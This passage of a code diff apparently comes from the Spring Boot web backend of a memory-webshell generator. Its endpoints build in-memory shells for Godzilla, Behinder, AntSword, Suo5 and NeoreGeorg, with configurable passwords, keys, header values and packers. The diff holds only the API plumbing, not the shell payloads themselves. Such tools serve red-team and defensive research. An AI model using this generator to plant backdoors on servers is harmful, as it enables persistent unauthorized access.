compileOnly {
|
||||||
|
extendsFrom annotationProcessor
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(project(":generator")) {
|
||||||
|
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
||||||
|
exclude group: 'commons-logging', module: 'commons-logging'
|
||||||
|
}
|
||||||
|
implementation(project(":deserialize")) {
|
||||||
|
exclude group: 'commons-logging', module: 'commons-logging'
|
||||||
|
}
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
||||||
|
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||||
|
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
||||||
|
}
|
||||||
|
implementation 'org.apache.commons:commons-lang3:3.+'
|
||||||
|
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||||
|
compileOnly 'org.projectlombok:lombok'
|
||||||
|
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||||
|
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
||||||
|
annotationProcessor 'org.projectlombok:lombok'
|
||||||
|
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
||||||
|
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||||
|
}
|
||||||
|
|
||||||
|
test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("java")
|
|
||||||
id("org.springframework.boot") version "4.1.0"
|
|
||||||
id("io.spring.dependency-management") version "1.1.7"
|
|
||||||
}
|
|
||||||
|
|
||||||
group = "io.github.reajason"
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
|
||||||
|
|
||||||
configurations {
|
|
||||||
compileOnly {
|
|
||||||
extendsFrom(configurations.annotationProcessor.get())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation(project(":generator")) {
|
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
|
||||||
}
|
|
||||||
implementation(project(":packer")) {
|
|
||||||
exclude(group = "commons-logging", module = "commons-logging")
|
|
||||||
}
|
|
||||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
|
||||||
implementation("org.springframework.boot:spring-boot-starter-web")
|
|
||||||
implementation(libs.commons.lang3)
|
|
||||||
compileOnly("org.projectlombok:lombok")
|
|
||||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
|
||||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
|
||||||
annotationProcessor("org.projectlombok:lombok")
|
|
||||||
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
|
||||||
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -1,9 +1,12 @@
|
|||||||
package com.reajason.javaweb.boot;
|
package com.reajason.javaweb.boot;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
@@ -13,5 +16,8 @@ public class BootApplication {
|
|||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
SpringApplication.run(BootApplication.class, args);
|
SpringApplication.run(BootApplication.class, args);
|
||||||
|
Server[] values = Server.values();
|
||||||
|
log.info("Supported servers: {}", Arrays.toString(values));
|
||||||
|
log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,13 +1,10 @@
|
|||||||
package com.reajason.javaweb.boot.api;
|
package com.reajason.javaweb.boot.api;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||||
import org.springframework.web.servlet.resource.NoResourceFoundException;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -16,23 +13,10 @@ import org.springframework.web.servlet.resource.NoResourceFoundException;
|
|||||||
@RestControllerAdvice
|
@RestControllerAdvice
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class GlobalExceptionHandler {
|
public class GlobalExceptionHandler {
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.NOT_FOUND)
|
|
||||||
@ExceptionHandler(NoResourceFoundException.class)
|
|
||||||
public ResponseEntity<?> handleNoResourceException() {
|
|
||||||
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
|
||||||
@ExceptionHandler(GenerationException.class)
|
|
||||||
public ErrorResponse handleGenerationException(GenerationException exception) {
|
|
||||||
return new ErrorResponse(exception.getMessage());
|
|
||||||
}
|
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
@ExceptionHandler(Throwable.class)
|
@ExceptionHandler(Throwable.class)
|
||||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||||
log.error("Internal Exception", throwable);
|
log.error("请求出错", throwable);
|
||||||
return new ErrorResponse(throwable.getMessage());
|
return new ErrorResponse(throwable.getMessage());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import org.springframework.asm.ClassReader;
|
|
||||||
import org.springframework.cglib.core.ClassNameReader;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/11/10
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class ClassNameParseController {
|
|
||||||
|
|
||||||
@PostMapping("/api/className")
|
|
||||||
public String className(@RequestBody String classBase64) {
|
|
||||||
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,12 +1,10 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.boot.vo.PackerVO;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
@@ -19,82 +17,52 @@ import java.util.*;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/api/config")
|
@RequestMapping("/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
/**
|
|
||||||
* @deprecated use {@link #config()} for memshell configuration and
|
|
||||||
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
|
|
||||||
*/
|
|
||||||
@RequestMapping("/servers")
|
@RequestMapping("/servers")
|
||||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
|
||||||
public Map<String, List<String>> getServers() {
|
public Map<String, List<String>> getServers() {
|
||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
for (Server server : Server.values()) {
|
||||||
for (String supportedServer : supportedServers) {
|
if (server.getShell() != null) {
|
||||||
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
|
||||||
.getShellInjectorMapping().getSupportedShellTypes();
|
servers.put(server.name(), supportedShellTypes.stream().toList());
|
||||||
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
}
|
||||||
}
|
}
|
||||||
return servers;
|
return servers;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
|
|
||||||
*/
|
|
||||||
@RequestMapping("/packers")
|
@RequestMapping("/packers")
|
||||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
|
||||||
public List<String> getPackers() {
|
public List<String> getPackers() {
|
||||||
return Arrays.stream(Packers.values())
|
return Arrays.stream(Packers.values())
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
.map(Packers::name).toList();
|
.map(Packers::name).toList();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。
|
|
||||||
* 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。
|
|
||||||
*/
|
|
||||||
@RequestMapping("/packers/tree")
|
|
||||||
public List<PackerVO> getPackerTree() {
|
|
||||||
return Arrays.stream(Packers.values())
|
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
|
||||||
.map(packers -> new PackerVO(
|
|
||||||
packers.name(),
|
|
||||||
Packers.getPackersWithParent(packers.getInstance().getClass())
|
|
||||||
.stream().map(Packers::name).toList()))
|
|
||||||
.toList();
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping("/probe/response-body/servers")
|
|
||||||
public List<String> getProbeResponseBodyServers() {
|
|
||||||
return ResponseBodyGenerator.getSupportedServers();
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public Map<String, Map<?, ?>> config() {
|
public Map<String, Map<?, ?>> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
for (Server value : Server.values()) {
|
||||||
for (String supportedServer : supportedServers) {
|
AbstractShell shell = value.getShell();
|
||||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
if (shell == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||||
for (String shellTool : server.getSupportedShellTools()) {
|
for (ShellTool shellTool : shell.getSupportedShellTools()) {
|
||||||
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
map.put(shellTool, supportedShellTypes);
|
map.put(shellTool.name(), supportedShellTypes);
|
||||||
}
|
}
|
||||||
coreMap.put(supportedServer, map);
|
coreMap.put(value.name(), map);
|
||||||
}
|
}
|
||||||
return coreMap;
|
return coreMap;
|
||||||
}
|
}
|
||||||
|
|
||||||
@GetMapping("/command/configs")
|
@GetMapping("/command/encryptors")
|
||||||
public CommandConfigVO getCommandConfigs() {
|
public List<CommandConfig.Encryptor> getCommandEncryptors() {
|
||||||
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
|
||||||
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
|
||||||
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
|
||||||
return commandConfigVO;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class GeneratorController {
|
||||||
|
@PostMapping
|
||||||
|
public GenerateResponse generate(@RequestBody GenerateRequest request) {
|
||||||
|
ShellConfig shellConfig = request.getShellConfig();
|
||||||
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
|
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof JarPacker) {
|
||||||
|
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
|
||||||
|
} else if (packer instanceof AggregatePacker) {
|
||||||
|
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
|
||||||
|
} else {
|
||||||
|
return new GenerateResponse(generateResult, packer.pack(generateResult));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,40 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.packer.AggregatePacker;
|
|
||||||
import com.reajason.javaweb.packer.JarPacker;
|
|
||||||
import com.reajason.javaweb.packer.Packer;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/api/memshell/generate")
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class MemShellGeneratorController {
|
|
||||||
@PostMapping
|
|
||||||
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
|
|
||||||
ShellConfig shellConfig = request.getShellConfig();
|
|
||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
|
||||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
Packer packer = request.getPacker().getInstance();
|
|
||||||
if (packer instanceof AggregatePacker) {
|
|
||||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
if (packer instanceof JarPacker) {
|
|
||||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
|
||||||
}
|
|
||||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
|
|
||||||
import com.reajason.javaweb.packer.AggregatePacker;
|
|
||||||
import com.reajason.javaweb.packer.Packer;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeContentConfig;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/10
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/api/probe/generate")
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class ProbeShellGeneratorController {
|
|
||||||
@PostMapping
|
|
||||||
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
|
|
||||||
ProbeConfig probeConfig = request.getProbeConfig();
|
|
||||||
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
|
|
||||||
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
|
|
||||||
Packer packer = request.getPacker().getInstance();
|
|
||||||
if (packer instanceof AggregatePacker) {
|
|
||||||
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
|
||||||
} else {
|
|
||||||
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -22,7 +22,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
@RequestMapping("/api/version")
|
@RequestMapping("/version")
|
||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
|
|||||||
@@ -1,70 +1,16 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import org.springframework.core.io.ClassPathResource;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.util.FileCopyUtils;
|
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.InputStreamReader;
|
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
*/
|
*/
|
||||||
@Controller
|
@Controller
|
||||||
@Slf4j
|
|
||||||
public class ViewController {
|
public class ViewController {
|
||||||
@GetMapping("/")
|
@GetMapping("/")
|
||||||
public String index(){
|
public String index(){
|
||||||
return "redirect:/ui";
|
return "index";
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping({"/api/search", "/api/search.data"})
|
|
||||||
@ResponseBody
|
|
||||||
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
String relativePath = fullPath.substring(1);
|
|
||||||
return renderFileData(relativePath, response);
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping("/ui/**")
|
|
||||||
@SneakyThrows
|
|
||||||
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
|
||||||
return "index";
|
|
||||||
}
|
|
||||||
String docPath = fullPath.substring(4);
|
|
||||||
if (docPath.endsWith(".data")) {
|
|
||||||
return ResponseEntity.ok(renderFileData(docPath, response));
|
|
||||||
}
|
|
||||||
return docPath + "/index";
|
|
||||||
}
|
|
||||||
|
|
||||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
|
||||||
try {
|
|
||||||
String templatePath = "templates/" + relativePath;
|
|
||||||
ClassPathResource resource = new ClassPathResource(templatePath);
|
|
||||||
if (!resource.exists()) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
|
||||||
return "File not found: " + relativePath;
|
|
||||||
}
|
|
||||||
InputStreamReader reader = new InputStreamReader(
|
|
||||||
resource.getInputStream(),
|
|
||||||
StandardCharsets.UTF_8
|
|
||||||
);
|
|
||||||
return FileCopyUtils.copyToString(reader);
|
|
||||||
} catch (IOException e) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
|
||||||
return "Error reading file: " + e.getMessage();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,86 +1,76 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
public class MemShellGenerateRequest {
|
public class GenerateRequest {
|
||||||
private ShellConfig shellConfig;
|
private ShellConfig shellConfig;
|
||||||
private ShellToolConfigDTO shellToolConfig;
|
private ShellToolConfigDTO shellToolConfig;
|
||||||
private InjectorConfig injectorConfig;
|
private InjectorConfig injectorConfig;
|
||||||
private Packers packer;
|
private Packers packer;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
public static class ShellToolConfigDTO {
|
static class ShellToolConfigDTO {
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
private String godzillaPass;
|
private String godzillaPass;
|
||||||
private String godzillaKey;
|
private String godzillaKey;
|
||||||
private String commandParamName;
|
private String commandParamName;
|
||||||
private String commandTemplate;
|
|
||||||
private String behinderPass;
|
private String behinderPass;
|
||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
private String headerValue;
|
private String headerValue;
|
||||||
private String shellClassBase64;
|
private String shellClassBase64;
|
||||||
private String encryptor;
|
private String encryptor;
|
||||||
private String implementationClass;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
return switch (shellConfig.getShellTool()) {
|
return switch (shellConfig.getShellTool()) {
|
||||||
case Godzilla -> GodzillaConfig.builder()
|
case Godzilla -> GodzillaConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(shellToolConfig.getGodzillaPass())
|
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
|
||||||
.key(shellToolConfig.getGodzillaKey())
|
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case Behinder -> BehinderConfig.builder()
|
case Behinder -> BehinderConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(shellToolConfig.getBehinderPass())
|
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.template(shellToolConfig.getCommandTemplate())
|
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
|
||||||
.build();
|
.build();
|
||||||
case Suo5, Suo5v2 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case AntSword -> AntSwordConfig.builder()
|
case AntSword -> AntSwordConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.pass(shellToolConfig.getAntSwordPass())
|
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||||
.build();
|
.build();
|
||||||
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
||||||
